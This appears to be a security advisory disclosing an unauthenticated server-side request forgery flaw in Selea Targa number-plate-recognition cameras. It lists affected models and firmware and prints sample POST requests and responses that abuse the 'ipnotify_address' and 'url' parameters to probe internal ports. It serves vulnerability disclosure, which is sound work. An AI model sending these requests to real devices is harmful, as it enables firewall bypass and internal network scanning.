Selea Targa IP OCR-ANPR Camera Server-Side Request Forgery

Credit: LiquidWorm
Risk: Medium
Local: No
Remote: Yes

Selea Targa IP OCR-ANPR Camera Unauthenticated SSRF Vendor: Selea s.r.l. Product web page: Affected version: Model: iZero Targa 512 Targa 504 Targa Semplice Targa 704 TKM Targa 805 Targa 710 INOX Targa 750 Targa 704 ILB Firmware: BLD201113005214 BLD201106163745 BLD200304170901 BLD200304170514 BLD200303143345 BLD191118145435 BLD191021180140 BLD191021180140 CPS: 4.013(201105) 3.100(200225) 3.005(191206) 3.005(191112) Summary: IP camera with optical character recognition (OCR) software for automatic number plate recognition (ANPR) also equipped with ADR system that enables it to read the Hazard Identification Number (HIN, also known as the Kemler Code) and UN number of any vehicle captured in free-flow mode. TARGA is fully accurate in reading number plates of vehicles travelling at high speed. Its varifocal, wide-angle lens makes this camera suitable for all installation conditions. Its built-in OCR software works as an automatic and independent system without the need of a computer, thus giving autonomy to the device even in the event of an interruption in the connection between the camera and the operations centre. Desc: Unauthenticated Server-Side Request Forgery (SSRF) vulnerability exists in the Selea ANPR camera within several functionalities. The application parses user supplied data in the POST JSON parameters 'ipnotify_address' and 'url' to construct an image request or check DNS for IP notification. Since no validation is carried out on the parameters, an attacker can specify an external domain and force the application to make an HTTP request to an arbitrary destination host. This can be used by an external attacker for example to bypass firewalls and initiate a service and network enumeration on the internal network through the affected application. Tested on: GNU/Linux 3.10.53 (armv7l) PHP/5.6.22 selea_httpd HttpServer/0.1 SeleaCPSHttpServer/1.1 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2021-5617 Advisory URL: 07.11.2020 -- Request: -------- POST /cps/test_backup_server?ACTION=TEST_IP&NOCONTINUE=TRUE HTTP/1.1 Host: {"test_type":"ip","test_debug":false,"ipnotify_type":"http/get","ipnotify_address":"","ipnotify_username":"","ipnotify_password":"","ipnotify_port":"0","ipnotify_content_type":"","ipnotify_template":""} Response (port 80): ------------------- {"bandwidth": 1.3571428571428572,"elapsed_ms": 14,"result": "OK","size": 19} Response (port 8080): --------------------- {"code": 500,"error": "Error sending notification: Connection refused"} Request: -------- POST /cps/test_url HTTP/1.1 Host: {"url":""}: Response (port 80): ------------------- {"elapsed_ms": 2,"jpeg": "GGh0bWw+CjxoZWFkPgo8dGl0bGU+U2VsZWEgQU5QU4BjYW1lcmE8L3RpdGxlPgo8bWV0YSBodHRwLWVxdWl2PSJyZWZyZXNoIiBjb250ZW50PSIwO1VSTD0vbhl2ZS5odG1sIj4KPC9oZWFkPgo8Ym9keT48L2JvJHk+CjwvaHRtbD4KCg==","result": "OK"} Response (port 8081): --------------------- {"elapsed_ms": 1,"error": "Connection refused"}

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